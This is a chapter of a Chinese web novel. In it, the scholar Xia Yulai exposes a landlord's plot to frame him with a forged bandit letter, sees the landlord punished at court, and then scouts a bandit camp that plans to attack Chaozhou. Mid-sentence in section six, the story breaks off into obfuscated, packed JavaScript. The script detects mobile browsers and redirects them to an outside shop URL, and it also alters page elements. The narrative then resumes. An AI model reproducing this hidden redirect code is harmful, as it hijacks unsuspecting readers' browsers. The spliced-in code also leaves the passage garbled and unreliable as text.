陈福舔了舔嘴唇,贼兮兮地说道:“老爷您想啊,这潮州城西北乡靠近山林,最近不是有一股山匪作乱吗?我们可以找人伪造证据,就说夏雨来勾结山匪,意图谋反!到时候,官府就算再赏识他,也不敢护着一个通匪的逆贼!” “勾结山匪?” 陈老财摸了摸下巴上的山羊胡,沉吟道,“这主意倒是不错!可怎么伪造证据?夏雨来为人谨慎,又跟官府关系密切,万一被他识破,反咬一口,我们可就麻烦了!” “老爷放心!” 陈福拍着胸脯说道,“小的已经打听好了,那股山匪的头目名叫‘黑风豹’,为人凶残,官府悬赏五百两银子捉拿他。我们可以找一个认识黑风豹的混混,让他冒充山匪的信使,给夏雨来送一封信,就说约定好里应外合,攻打潮州城。然后,我们再把这封信交给官府,同时让那混混指证夏雨来,到时候人证物证俱在,他就算有一百张嘴也说不清!” 陈老财眯起眼睛,心里盘算着:“五百两银子…… 倒是不多。可那混混靠谱吗?万一他临阵倒戈,把我们供出来怎么办?” “老爷,小的找的这个人,名叫赵二麻子,是潮州城有名的泼皮无赖,欠了赌场三百两银子,正走投无路呢!” 陈福说道,“我们给他一百两银子,让他干这件事,他肯定愿意!而且,他跟夏雨来无冤无仇,官府就算怀疑,也查不到我们头上!” 陈老财点了点头,脸上露出一丝阴狠的笑容:“好!就这么办!陈福,这件事你亲自去办,一定要办得干净利落!事成之后,老夫再赏你五十两银子!” “谢老爷!小的一定不负重托!” 陈福喜出望外,连忙磕头谢恩。 看着陈福离去的背影,陈老财端起茶杯,喝了一口龙井,心里暗暗想道:夏雨来,你破坏我的好事,我就让你死无葬身之地!等你被官府问斩,潮州城就再也没有人敢跟我作对了!到时候,河东河西两村的田地,还有那些百姓的钱财,都将是我的! 他越想越得意,嘴角的笑容越来越狰狞。窗外的日头渐渐西斜,将他的影子拉得很长,如同他心中的恶意,蔓延开来。 二、泼皮送信,暗设陷阱 次日清晨,潮州城东门街的小院里,夏雨来正坐在葡萄架下看书。孙老实蹲在一旁,给院子里的蔬菜浇水,嘴里还哼着小调。阿翠则在厨房里忙碌着,准备早饭,阵阵香气飘了出来。 “夏秀才,您可真悠闲!” 孙老实直起腰,擦了擦脸上的汗水,说道,“自从解决了两村的河道纠纷,您的名声越来越大了,连知府大人都要为您请功呢!” 夏雨来放下书,笑了笑:“孙老实,虚名而已,不足挂齿!我只希望百姓们能安居乐业,不再有矛盾和争斗,就心满意足了!” 正在这时,院门外传来一阵敲门声,还夹杂着一个沙哑的声音:“夏秀才在家吗?有位朋友让我给您送一封信!” 夏雨来皱了皱眉头,心里有些疑惑:“朋友?我在潮州城没什么朋友啊!孙老实,你去看看是谁!” 孙老实放下水桶,走到院门口,打开一条门缝,看到门外站着一个满脸麻子、贼眉鼠眼的汉子,正是赵二麻子。赵二麻子穿着一件破烂的短褂,手里拿着一封信,脸上堆着不自然的笑容。 “你是谁?找夏秀才干什么?” 孙老实警惕地问道。 “我是赵二麻子,是黑风豹大哥让我来给夏秀才送信的!” 赵二麻子说道,眼睛不停地扫视着院子里的情况。 “黑风豹?” 孙老实心里一惊,他听说过黑风豹的名声,是西北乡有名的山匪头目,凶残无比。他连忙说道:“我们夏秀才不认识什么黑风豹!你走错地方了!” “没错!就是这里!” 赵二麻子把信往前递了递,“夏秀才跟我们黑风豹大哥是老相识了,这封信是大哥特意让我送来的,你一定要交给夏秀才!” 孙老实正想拒绝,夏雨来走了过来,说道:“孙老实,让他进来吧!我倒要看看,这黑风豹到底有什么话要跟我说!” 孙老实犹豫了一下,还是让开了身子,让赵二麻子走了进来。 赵二麻子走进院子,看到夏雨来,连忙拱了拱手,说道:“夏秀才,小人赵二麻子,是黑风豹大哥的手下。这是大哥给您的信,请您过目!” 他把信递给夏雨来,眼神里闪过一丝紧张。他心里暗暗想道:陈福说的是真的吗?这夏雨来真的勾结山匪?万一他识破了,我可就惨了!但一想到一百两银子,他又鼓起了勇气。 夏雨来接过信,心里有些疑惑。他确实不认识什么黑风豹,但他知道,黑风豹是官府悬赏捉拿的山匪头目。他打开信封,取出信纸,只见上面用潦草的字迹写着: “夏贤弟台鉴:久仰大名,如雷贯耳!今闻贤弟在潮州城威望甚高,百姓拥戴,官府信任,实乃天赐良机!我等盘踞西北山林,已有数年,兵强马壮,欲取潮州城久矣!若贤弟肯里应外合,打开城门,助我等拿下潮州城,届时,城中财物、田地,贤弟可任选一半!望贤弟三思,速作回复!黑风豹顿首” 夏雨来看完信,眉头紧锁。他心里立刻明白了,这是有人故意设下的圈套,想要陷害他!他抬头看了看赵二麻子,只见赵二麻子眼神闪烁,神色慌张,一看就不是什么好人。 “赵二麻子,” 夏雨来语气平静地说道,“这封信,真是黑风豹让你送来的?” 赵二麻子心里一慌,连忙说道:“是啊!千真万确!是黑风豹大哥亲手写的,让我送来的!” “哦?” 夏雨来笑了笑,“那我问你,黑风豹是怎么知道我的?我们什么时候成了老相识了?” 赵二麻子愣了一下,他没想到夏雨来会这么问。他事先并没有准备好说辞,只能支支吾吾地说道:“这…… 这我就不知道了!黑风豹大哥只是让我送信,别的事情我一概不知!” “是吗?” 夏雨来盯着他的眼睛,说道,“我看你神色慌张,说话支支吾吾,不像是在说真话!这封信,到底是谁让你送来的?是不是有人指使你,故意陷害我?” 赵二麻子被夏雨来看得心里发毛,连忙低下头,不敢直视他的眼睛:“夏秀才,您冤枉我了!我真的是黑风豹大哥让我来送信的!您要是不信,我可以带您去见黑风豹大哥!” “带我去见黑风豹?” 夏雨来冷笑一声,“你以为我傻吗?黑风豹是官府悬赏捉拿的山匪,我要是跟你去见他,岂不是自投罗网?” 他心里暗暗想道:这个赵二麻子,一看就是个被人收买的泼皮无赖。背后指使他的人,一定是跟我有仇怨的人。会是谁呢?难道是之前被我送到官府的周小三和李老四的同党?还是…… 陈老财? 夏雨来想起陈老财,心里顿时有了几分猜测。陈老财是潮州城有名的守财奴,为人贪婪狡诈,之前清水河纠纷,他肯定想趁机吞并两村的田地,却被自己破坏了好事,他心里一定怀恨在心,想要报复自己。 “赵二麻子,” 夏雨来语气变得严肃起来,“我再问你一遍,这封信到底是谁让你送来的?如果你老实交代,我可以饶了你!如果你还敢撒谎,我就把你送到官府,让你吃不了兜着走!” 赵二麻子心里更加慌张了,他看着夏雨来严肃的表情,知道夏雨来不是好惹的。他心里开始动摇:一百两银子虽然多,但如果被官府抓住,不仅银子得不到,还要坐牢,甚至可能被杀头! 他犹豫了片刻,最终还是贪生怕死的心理占了上风。他 “噗通” 一声跪倒在地,哭丧着脸说道:“夏秀才,我错了!我不该撒谎!这封信不是黑风豹让我送来的,是陈老财的管家陈福让我送来的!他给了我一百两银子,让我冒充山匪的信使,给您送这封信,还让我指证您勾结山匪!” 夏雨来早就猜到是陈老财搞的鬼,此刻听到赵二麻子的话,心里更加确定了。他点了点头,说道:“起来吧!我知道你是被陈老财胁迫的,只要你配合我,把事情的真相说出来,我可以不追究你的责任!” “真的吗?” 赵二麻子喜出望外,连忙爬起来,说道,“夏秀才,您说吧!您让我做什么,我都照做!我一定把陈老财的阴谋全都告诉您!” 夏雨来笑了笑,说道:“好!你先跟我说说,陈福是怎么跟你说的?他让你接下来怎么做?” 赵二麻子连忙说道:“陈福跟我说,让我给您送完信之后,就去县衙报案,说您勾结山匪黑风豹,意图谋反,还说这封信就是证据!他还让我一口咬定,是您让我给黑风豹送信,约定好里应外合攻打潮州城!” “哼!好毒的计策!” 夏雨来冷哼一声,“陈老财为了陷害我,竟然不惜勾结山匪,编造这种弥天大谎!真是丧尽天良!” 孙老实也气得满脸通红,说道:“夏秀才,这个陈老财太可恶了!我们现在就去县衙,把他告了!” “别急!” 夏雨来摆了摆手,说道,“现在还不是时候!我们只有赵二麻子的证词,没有其他证据,官府不一定会相信我们!而且,陈老财在潮州城势力不小,跟县衙的一些官员也有勾结,我们直接去告他,说不定会打草惊蛇,让他有所防备!” 他低头沉思了片刻,嘴角勾起一抹狡黠的笑容:“既然陈老财想陷害我,那我们就将计就计,给他一个教训,让他搬起石头砸自己的脚!” 赵二麻子连忙问道:“夏秀才,您有什么好主意?您尽管说,我一定配合您!” 夏雨来说道:“你按照陈福的要求,去县衙报案,就说我勾结山匪,意图谋反,并且把这封信交给官府!但你要记住,在公堂上,你要按照我教你的话说,把陈老财和陈福的阴谋全都抖出来!” 赵二麻子有些犹豫:“夏秀才,这样做会不会有危险?万一陈老财报复我怎么办?” “你放心!” 夏雨来说道,“有我在,陈老财不敢报复你!而且,只要你在公堂上说实话,官府不仅不会治你的罪,还会奖励你!到时候,你欠赌场的银子也就可以还清了!” 赵二麻子一听,眼睛顿时亮了起来:“好!夏秀才,我听您的!我现在就去县衙报案!” 夏雨来点了点头,从怀里掏出十两银子,递给赵二麻子:“这十两银子你先拿着,作为定金!等事成之后,我再给你二十两银子!” 赵二麻子接过银子,连忙磕头谢恩:“谢谢夏秀才!谢谢夏秀才!我一定按照您的要求做,绝不反悔!” 看着赵二麻子离去的背影,孙老实担忧地说道:“夏秀才,这个赵二麻子是个泼皮无赖,他会不会中途变卦,反过来咬我们一口?” 夏雨来笑了笑:“孙老实,你放心!赵二麻子欠了赌场三百两银子,走投无路,才答应陈福做这件事。他现在有求于我,而且我已经给了他定金,他不会轻易变卦的!更何况,我已经想好对策了,就算他变卦,我们也有办法应对!” 他转头对厨房里的阿翠喊道:“阿翠,早饭做好了吗?我们吃完早饭,也去县衙一趟,看看这场好戏怎么上演!” “来了!来了!” 阿翠连忙端着早饭走了出来,说道,“夏秀才,孙大哥,快吃饭吧!今天做了您爱吃的豆浆油条,还有茶叶蛋!” 夏雨来和孙老实坐了下来,一边吃着早饭,一边商量着接下来的对策。阳光透过葡萄架的缝隙,洒在院子里,形成斑驳的光影。夏雨来的脸上带着自信的笑容,他知道,这场与陈老财的较量,他一定能赢! 三、公堂对峙,初露端倪 潮州县衙的大堂上,知府大人王大人正坐在公案后,审理一桩盗窃案。突然,衙役来报,说有一个名叫赵二麻子的百姓,有要事禀报,事关重大。 王大人皱了皱眉头,说道:“让他进来!” 赵二麻子跟着衙役走进大堂,“噗通” 一声跪倒在地,大声说道:“大人!小人有要事禀报!潮州城的夏雨来,勾结山匪黑风豹,意图谋反,攻打潮州城!请大人为民做主!” 王大人一听,顿时大惊失色:“什么?夏雨来勾结山匪?赵二麻子,你可知道,诬告朝廷命官(注:夏雨来虽未当官,但受知府赏识,有秀才功名,属士大夫阶层)是要杀头的!你可有证据?” “大人,小人有证据!” 赵二麻子连忙从怀里掏出那封信,递给衙役,“这是黑风豹写给夏雨来的信,上面写着约定好里应外合,攻打潮州城!小人是黑风豹的信使,是夏雨来让我给黑风豹送信的!” 衙役把信递给王大人,王大人接过信,仔细看了起来。看完之后,他的眉头紧锁,心里充满了疑惑:夏雨来是他赏识的秀才,为人正直,为民做主,怎么会勾结山匪呢?这其中一定有蹊跷! 但事关重大,他也不敢掉以轻心。他说道:“赵二麻子,你说你是夏雨来让你给黑风豹送信的,可有证人?你跟黑风豹是什么关系?你怎么认识夏雨来的?” 赵二麻子心里一慌,按照夏雨来教他的话说:“大人,小人跟黑风豹没有任何关系!小人是潮州城的泼皮无赖,欠了赌场三百两银子,走投无路之下,才被陈老财的管家陈福收买!陈福给了小人一百两银子,让小人冒充山匪的信使,给夏雨来送这封信,然后让小人来县衙报案,指证夏雨来勾结山匪!” “什么?” 王大人一愣,“你说是陈老财的管家陈福让你这么做的?陈老财为什么要这么做?” “大人,小人不知道!” 赵二麻子说道,“陈福只是让小人按照他的要求做,别的事情小人一概不知!不过,小人听说,之前清水河两村的河道纠纷,夏雨来破坏了陈老财的好事,陈老财怀恨在心,想要报复夏雨来!” 王大人心里更加疑惑了,他知道陈老财是潮州城有名的守财奴,为人贪婪狡诈,确实有可能因为私人恩怨,陷害夏雨来。但他也不能仅凭赵二麻子的一面之词,就断定是陈老财搞的鬼。 正在这时,衙役又来报:“大人,夏雨来夏秀才求见!” 王大人心里一动,说道:“让他进来!” 夏雨来和孙老实走进大堂,看到赵二麻子跪在地上,心里已经明白了几分。他走上前,拱了拱手,说道:“大人,学生夏雨来,见过大人!不知大人传唤学生,有何要事?” 王大人看着夏雨来,说道:“夏秀才,有人告你勾结山匪黑风豹,意图谋反,攻打潮州城!这是证据,你看看!” 他把那封信递给夏雨来,夏雨来接过信,看了一遍,脸上露出一丝惊讶的表情,随即又恢复了平静。他说道:“大人,这封信是伪造的!学生根本不认识什么黑风豹,更没有勾结山匪!这明显是有人故意设下的圈套,想要陷害学生!” “夏秀才,你说这封信是伪造的,可有证据?” 王大人问道。 “大人,学生当然有证据!” 夏雨来说道,“首先,学生与黑风豹素不相识,他怎么会写信给学生,约定里应外合攻打潮州城?其次,这封信的字迹潦草,语气粗鲁,根本不像是山匪头目写的,倒像是市井无赖模仿的!最后,赵二麻子刚才已经说了,他是被陈老财的管家陈福收买,故意陷害学生的!大人可以传讯陈福,一问便知!” 王大人点了点头,说道:“好!来人,传陈老财的管家陈福上堂!” 衙役领命而去,很快就把陈福带到了大堂上。陈福看到赵二麻子和夏雨来都在,心里顿时慌了,但还是强装镇定,跪倒在地:“小人陈福,见过大人!不知大人传小人上堂,有何要事?” 王大人说道:“陈福,有人告你收买赵二麻子,伪造信件,陷害夏雨来夏秀才勾结山匪,意图谋反!你可认罪?” 陈福心里一惊,连忙说道:“大人,小人冤枉啊!小人根本不认识什么赵二麻子,更没有收买他陷害夏秀才!这一定是赵二麻子胡说八道,想要诬陷小人!” 赵二麻子连忙说道:“陈福,你别狡辩了!是你在赌场找到我,给了我一百两银子,让我冒充山匪的信使,给夏雨来送这封信,然后让我来县衙报案,指证夏雨来勾结山匪的!你还说,如果我办成这件事,再给我五十两银子!” “你胡说!” 陈福气得满脸通红,“我根本没有去过赌场,也没有见过你!你这个泼皮无赖,竟然敢诬陷我!大人,您可不能相信他的话!” “大人,小人没有诬陷他!” 赵二麻子说道,“当时,你在赌场给我银子的时候,还有赌场的老板和几个赌徒在场,他们都可以作证!而且,你给我的那一百两银子,上面有一个印记,是陈府的私印!” 王大人一听,说道:“来人,去赌场传讯赌场老板和那几个赌徒,另外,搜查陈府,看看有没有带有陈府私印的银子!” 衙役领命而去,大堂上顿时安静了下来。陈福心里七上八下,他没想到赵二麻子竟然会把这些事情都说出来,而且还提到了赌场的证人 and 银子上的私印。他知道,赌场的老板和那几个赌徒肯定会如实作证,而且那一百两银子上确实有陈府的私印,这下麻烦了! 夏雨来看着陈福惊慌失措的样子,心里暗暗想道:陈福,你以为收买一个泼皮无赖,就能陷害我吗?你太天真了!今天,我一定要让你和陈老财付出代价! 孙老实站在夏雨来身后,脸上也露出了得意的笑容。他知道,夏秀才一定有办法揭穿陈老财的阴谋,让他们自食恶果。 过了大约一个时辰,衙役回来了,带来了赌场老板和几个赌徒,并且从陈府搜出了带有陈府私印的银子。 赌场老板跪倒在地,说道:“大人,小人可以作证!三天前,陈福确实在赌场找到赵二麻子,给了他一百两银子,并且跟他说了一些悄悄话,具体说什么,小人没有听清!但小人可以肯定,他们之间确实有交易!” 几个赌徒也纷纷作证,说看到陈福给赵二麻子银子,并且听到他们提到了 “夏雨来”、“山匪”、“陷害” 等字眼。 衙役把搜出的银子递给王大人,王大人一看,银子上果然有陈府的私印,而且数量正好是一百两。 证据确凿,陈福再也无法抵赖了。他 “噗通” 一声跪倒在地,哭丧着脸说道:“大人,小人认罪!是小人收买赵二麻子,伪造信件,陷害夏秀才的!但这都是陈老财让我做的,小人只是奉命行事!” “什么?是陈老财让你做的?” 王大人问道。 “是的!大人!” 陈福说道,“陈老财因为清水河两村的河道纠纷,被夏秀才破坏了好事,怀恨在心,想要报复夏秀才!他让小人找一个泼皮无赖,伪造信件,陷害夏秀才勾结山匪,意图谋反!小人不敢违抗陈老财的命令,只能照做!” 王大人一听,顿时怒不可遏:“好一个陈万山!竟然敢如此无法无天,陷害士大夫,扰乱地方治安!来人,传陈万山上堂!” 四、老财狡辩,智设圈套 陈老财陈万山接到县衙的传讯,心里虽然有些慌张,但还是强装镇定,带着几个家丁,来到了县衙大堂。他以为,凭借自己在潮州城的势力和人脉,一定能化解这场危机。 走进大堂,看到陈福跪在地上,脸上满是泪痕,赵二麻子、赌场老板和几个赌徒也都在场,夏雨来则站在一旁,神色平静。陈老财心里顿时明白了,事情败露了!但他还是不死心,想要狡辩。 他走上前,拱了拱手,说道:“大人,不知下官(注:陈老财曾捐过一个虚职,故自称下官)犯了什么罪,让大人如此兴师动众?” 王大人看着陈老财,脸色阴沉:“陈万山,你还敢装糊涂!你的管家陈福已经招供了,是你指使他收买赵二麻子,伪造信件,陷害夏雨来夏秀才勾结山匪,意图谋反!你可认罪?” 陈老财心里一惊,连忙说道:“大人,冤枉啊!下官根本不知道这件事!一定是陈福这个狗奴才,为了推卸责任,故意诬陷下官!大人,您可不能相信他的话!” “陈老财,你别狡辩了!” 陈福连忙说道,“是你让我找赵二麻子,给了我一百两银子,让我伪造信件,陷害夏秀才的!你还说,如果事情办成了,再赏我五十两银子!这些话,我都记得清清楚楚!” “你胡说!” 陈老财气得浑身发抖,“我什么时候让你做这些事了?你这个忘恩负义的狗奴才,我平日里待你不薄,你竟然敢诬陷我!” “大人,小人没有诬陷他!” 陈福说道,“当时,你在书房里跟我说这些话的时候,你的贴身家丁陈忠也在场,他可以作证!” 王大人说道:“传陈忠上堂!” 衙役很快就把陈忠带到了大堂上。陈忠是陈老财的贴身家丁,跟随陈老财多年,对陈老财的事情了如指掌。 陈忠跪倒在地,说道:“大人,小人见过大人!” 王大人说道:“陈忠,你家老爷陈万山,是不是指使陈福收买赵二麻子,伪造信件,陷害夏雨来夏秀才?” 陈忠心里一慌,看了看陈老财,又看了看陈福,犹豫不决。他知道,陈老财确实指使陈福做了这件事,但如果他如实作证,陈老财一定会报复他;如果他撒谎,又怕被官府治罪。 陈老财看出了陈忠的犹豫,连忙说道:“陈忠,你说实话!是不是陈福诬陷我?” 陈福也说道:“陈忠,你快说!是老爷让我们做的,你不能撒谎!” 陈忠心里挣扎了片刻,最终还是选择了如实作证:“大人,是…… 是老爷让陈福做的!三天前,老爷在书房里跟陈福说,夏雨来破坏了他的好事,让他找一个泼皮无赖,伪造信件,陷害夏雨来勾结山匪,意图谋反!小人当时就在旁边伺候,听得清清楚楚!” 陈老财一听,顿时面如死灰。他没想到,连自己最信任的贴身家丁都背叛了自己!证据确凿,他再也无法抵赖了! 但他还是不死心,想要最后一搏。他说道:“大人,就算是下官让陈福做的,那也是因为夏雨来破坏了下官的好事,下官一时糊涂,才想报复他!但下官并没有想要陷害他勾结山匪,意图谋反啊!只是想让他身败名裂,再也不能在潮州城立足!求大人开恩,饶了下官这一次!” 夏雨来笑了笑,说道:“陈老财,你说你只是想让我身败名裂,不想陷害我勾结山匪?那这封信上写的‘里应外合,攻打潮州城’,又是怎么回事?你这分明是想要置我于死地!而且,勾结山匪,意图谋反,这是株连九族的大罪!你为了报复我,竟然不惜犯下如此滔天大罪,真是丧尽天良!” 王大人点了点头,说道:“夏秀才说得对!陈万山,你为了私人恩怨,竟然伪造证据,诬陷他人勾结山匪,意图谋反,情节严重,影响恶劣!本府岂能饶你!” 陈老财心里彻底慌了,他连忙磕头求饶:“大人,求您饶了下官吧!下官再也不敢了!下官愿意赔偿夏秀才的损失,愿意捐出五百两银子,用于救济百姓!求您开恩!” 夏雨来看着陈老财狼狈的样子,心里暗暗想道:陈老财,你现在知道求饶了?当初你设计陷害我的时候,怎么没想到今天的下场? 他说道:“大人,学生认为,陈老财的行为,不仅陷害了学生,还扰乱了潮州城的治安,损害了百姓的利益!如果不严惩,以后还会有人效仿,为所欲为!所以,学生恳请大人,依法处置陈老财,以儆效尤!” 王大人点了点头,说道:“好!本府就依法处置!陈万山,你伪造证据,诬陷他人,意图谋反,本应斩首示众!但念在你主动认罪,并且愿意捐出五百两银子救济百姓,本府就从轻发落!判你杖责五十,流放三千里,家产充公!陈福、赵二麻子,你们也参与了陷害夏秀才,各杖责三十,流放一千里!陈忠,你如实作证,本府就不追究你的责任了!” “大人,饶命啊!” 陈老财哭喊着,但衙役已经上前,把他和陈福、赵二麻子拖了下去。 看着他们被拖走的背影,夏雨来心里松了一口气。这场与陈老财的较量,他终于赢了! 五、市井欢呼,余波未了 陈老财被依法处置的消息,很快传遍了潮州城。百姓们纷纷拍手叫好,都说夏雨来为民除害,是个好秀才! 东门街的小院里,张老爹和几个街坊都来了,纷纷向夏雨来道贺。 “夏秀才,您真是太厉害了!竟然能识破陈老财的阴谋,还把他绳之以法!” 张老爹说道。 “是啊!夏秀才,您为我们潮州城的百姓除了一个大害!陈老财平日里欺压百姓,抢占田地,我们早就恨透他了!” 一个街坊说道。 “夏秀才,您真是我们百姓的保护神!有您在,我们就不用担心被人欺负了!” 另一个街坊说道。 夏雨来笑了笑,说道:“各位乡亲,不用谢我!这都是我应该做的!惩治恶人,保护百姓,是每个读书人的本分!” 阿翠端来茶水,递给大家,说道:“各位大叔大伯,快喝茶!夏秀才这次能识破陈老财的阴谋,也是多亏了赵二麻子的配合!” “说起赵二麻子,” 孙老实说道,“这个泼皮无赖,这次倒是做了一件好事!不过,他也得到了应有的惩罚,被流放一千里!” 夏雨来点点头,说道:“是啊!赵二麻子虽然是被利益驱使,但他最终还是选择了说实话,帮助我们揭穿了陈老财的阴谋!也算是将功补过了!” 正在这时,衙役送来一封信,是知府大人王大人写的。夏雨来打开一看,原来是王大人对他表示赞赏,并且说要把他的事迹上报朝廷,为他请功。 夏雨来看完信,笑了笑,把信放在了桌子上。他对张老爹和街坊们说道:“知府大人要为我请功,但我觉得,这不是我一个人的功劳!这是大家支持和帮助的结果!” 张老爹说道:“夏秀才,您太谦虚了!如果不是您聪明过人,识破了陈老财的阴谋,我们也不能这么快就除了这个大害!知府大人为您请功,是您应得的!” 夏雨来笑了笑,没有再说什么。他知道,这场风波虽然结束了,但他的责任还没有结束。在潮州城,还有很多百姓需要他的帮助,还有很多矛盾需要他去化解。 日子一天天过去,陈老财的家产被充公,一部分用于救济百姓,一部分用于修建潮州城的水利设施。河东村和河西村的村民们,也听说了陈老财被处置的消息,纷纷来到东门街的小院,向夏雨来道谢。 周德发说道:“夏秀才,真是太感谢您了!如果不是您,我们两村的田地早就被陈老财霸占了!您不仅化解了我们两村的矛盾,还为我们除了一个大害!” 李德山也说道:“夏秀才,您真是我们两村的大恩人!我们真的不知道该怎么感谢您!” 夏雨来笑道:“两位村老,不用谢我!这都是我应该做的!只要两村能够和睦相处,共同发展,我就放心了!” 他转头对两村的村民们说道:“各位乡亲,陈老财虽然被处置了,但我们不能掉以轻心!以后,大家遇到什么困难,或者有什么矛盾,一定要及时告诉我,我会尽力帮助大家!” 村民们纷纷点头:“我们知道了!夏秀才,您放心吧!我们以后一定会和睦相处,互相帮助,遇到困难一定告诉您!” 夕阳西下,晚霞染红了天空。村民们依依不舍地告别,约定以后要经常来往,互相帮助。 夏雨来站在小院门口,看着村民们离去的背影,心里充满了成就感。他知道,他的努力没有白费,他用自己的智慧和勇气,为百姓们带来了和平和安宁。 但他也知道,这只是一个开始。在潮州城,还有很多像陈老财一样的恶人,还有很多需要他去解决的问题。他会继续用自己的智慧和勇气,为百姓们做主,守护潮州城的安宁和公道,让和睦之花,永远绽放在这片土地上。 六、暗潮涌动,新的危机 陈老财被流放后的一个月,潮州城表面上恢复了平静,但暗地里,却涌动着一股新的危机。 这一天,夏雨来正在小院里看书,孙老实突然跑了进来,神色慌张地说道:“夏秀才,不好了!西北乡的山匪黑风豹,听说陈老财被您处置了,非常生气,扬言要攻打潮州城,为陈老财报仇!” 夏雨来放下书,皱了皱眉头:“黑风豹?他怎么会为陈老财报仇?他们之间有什么关系?” “夏秀才,小的也不知道!” 孙老实说道,“是西北乡的一个村民来报的信,他说黑风豹已经聚集了上千名山匪,准备三天后攻打潮州城!现在,西北乡的百姓们都非常害怕,纷纷往潮州 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446929|201103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城里逃!” 夏雨来心里一沉,他知道,黑风豹是西北乡有名的山匪头目,为人凶残,手下有上千名山匪,战斗力很强。如果他们真的攻打潮州城,潮州城的百姓们将会遭受灭顶之灾! 他说道:“孙老实,你立刻去县衙,把这件事告诉知府大人,让他赶紧调兵遣将,加强城防!我去西北乡看看情况,了解一下黑风豹的虚实!” “夏秀才,您一个人去太危险了!” 孙老实担忧地说道,“黑风豹手下有上千名山匪,您要是遇到他们,可就麻烦了!” “放心吧!我自有分寸!” 夏雨来说道,“我只是去打探一下情况,不会跟他们正面冲突!你快去县衙报信,耽误不得!” 孙老实点了点头,连忙转身离去。 阿翠从厨房里走出来,看到夏雨来神色严肃,连忙问道:“夏秀才,发生什么事了?您要去哪里?” 夏雨来笑了笑,说道:“阿翠,没什么大事!西北乡的山匪黑风豹扬言要攻打潮州城,我去看看情况!你在家好好待着,不要担心!” “夏秀才,您一个人去太危险了!” 阿翠担忧地说道,“您带上孙大哥一起去吧!或者,让县衙的衙役跟您一起去!” “不用了!” 夏雨来说道,“孙老实要去县衙报信,衙役们需要留在城里加强城防!我一个人去就行,我会小心的!” 他拿起放在一旁的折扇,又从怀里掏出一把匕首,藏在腰间,然后说道:“阿翠,我走了!你照顾好自己!” 阿翠看着夏雨来离去的背影,心里充满了担忧。她知道,夏雨来这一去,肯定会遇到危险,但她也知道,夏雨来是个有担当的人,他不会眼睁睁看着百姓们遭受苦难。 夏雨来骑着毛驴,一路向西,前往西北乡。路上,他看到很多百姓背着行李,扶老携幼,往潮州城里逃。他们脸上都带着恐惧的表情,嘴里不停地念叨着:“黑风豹要打来了!快跑啊!” 夏雨来心里更加着急了,他催促着毛驴,加快了速度。 傍晚时分,夏雨来到达了西北乡的一个小村庄。村里的百姓们都已经逃得差不多了,只剩下几个老人和孩子,守在村里。 夏雨来走进村里,看到一个老人坐在村口的石头上,唉声叹气。他走上前,拱了拱手,说道:“老人家,我是潮州城的夏雨来,听说黑风豹要攻打潮州城,特地来看看情况!您知道黑风豹的营地在哪里吗?他们现在有多少人?” 老人抬起头,看了看夏雨来,说道:“你就是那个为民做主的夏秀才?黑风豹的营地在西北乡的黑风山,距离这里大约有十里路!他现在聚集了上千名山匪,个个手持刀枪,非常凶残!我们村里的年轻人都逃了,只剩下我们这些老人和孩子,实在走不动了!” 夏雨来点了点头,说道:“老人家,您放心!官府已经知道了这件事,很快就会调兵遣将,保护大家!您和村里的老人孩子,赶紧收拾一下,往潮州城里逃!路上一定要小心!” 老人点了点头,说道:“多谢夏秀才!我们这就收拾东西,往城里逃!” 夏雨来告别了老人,骑着毛驴,继续向黑风山走去。他知道,黑风山地形复杂,山高林密,是山匪们的天然屏障。他必须小心谨慎,不能被山匪们发现。 夜幕降临,月光洒在山林里,形成斑驳的光影。夏雨来骑着毛驴,小心翼翼地前进着。突然,他听到前面传来一阵脚步声,还有人说话的声音。 “大哥,听说陈老财被那个夏雨来给害了,真是太可惜了!我们这次攻打潮州城,一定要为陈老财报仇,把那个夏雨来碎尸万段!” “没错!那个夏雨来,竟然敢跟我们作对,还害了陈老财,我们一定要让他付出代价!等我们打下潮州城,城里的金银财宝、女人,都是我们的!” 夏雨来心里一惊,他没想到,黑风豹和陈老财竟然真的有关系!而且,他们攻打潮州城,不仅仅是为了为陈老财报仇,还想抢夺城里的金银财宝和女人! 他连忙躲到一棵大树后面,屏住呼吸,观察着前面的情况。只见十几个山匪,手持刀枪,正沿着山路往前走。他们一个个凶神恶煞,脸上带着狰狞的笑容。 夏雨来心里暗暗想道:这些山匪虽然凶残,但看起来战斗力并不强。黑风豹聚集了上千名山匪,估计也都是些乌合之众,只要官府调兵遣将,加强城防,一定能打败他们! 但他也不敢掉以轻心,他知道,山匪们熟悉地形,而且非常狡猾,万一他们采用偷袭的方式,潮州城还是会有危险。 他悄悄地跟在山匪们后面,想要找到黑风豹的营地,了解一下他们的具体情况。 走了大约半个时辰,山匪们来到了一个山谷里。山谷里灯火通明,到处都是帐篷,上千名山匪聚集在这里,有的在喝酒,有的在赌博,有的在擦拭刀枪,看起来非常热闹。 夏雨来躲在山谷外的一棵大树上,仔细观察着山谷里的情况。他看到,山谷中央的一个大帐篷里,坐着一个身材高大、满脸横肉的汉子,正是黑风豹。他身边围着几个头目,正在商量着攻打潮州城的计划。 夏雨来竖起耳朵,想要听听他们的计划。只听黑风豹说道:“兄弟们,三天后,我们就攻打潮州城!潮州城的知府大人,肯定以为我们会从西门进攻,因为西门是潮州城的薄弱环节!但我们偏偏不从西门进攻,我们从东门进攻!东门的守卫比较松懈,而且靠近东门街,那里有很多金银财宝和女人!我们一举攻破东门,然后冲进城里,烧杀抢掠,为陈老财报仇!” “好!大哥英明!” 几个头目纷纷附和道,“我们一定能打下潮州城,把那个夏雨来碎尸万段!” 夏雨来心里一惊,他没想到,黑风豹竟然想要从东门进攻!东门街是潮州城的商业中心,也是百姓们居住比较集中的地方,如果山匪们从东门进攻,后果不堪设想! 他知道,不能再等了,必须立刻回去,把这个消息告诉知府大人,让他加强东门的防守! 他悄悄地从大树上下来,转身想要离开,却不小心踩断了一根树枝,发出了 “咔嚓” 一声响。 “谁?” 一个山匪听到了声音,大声喊道,“是谁在那里?” 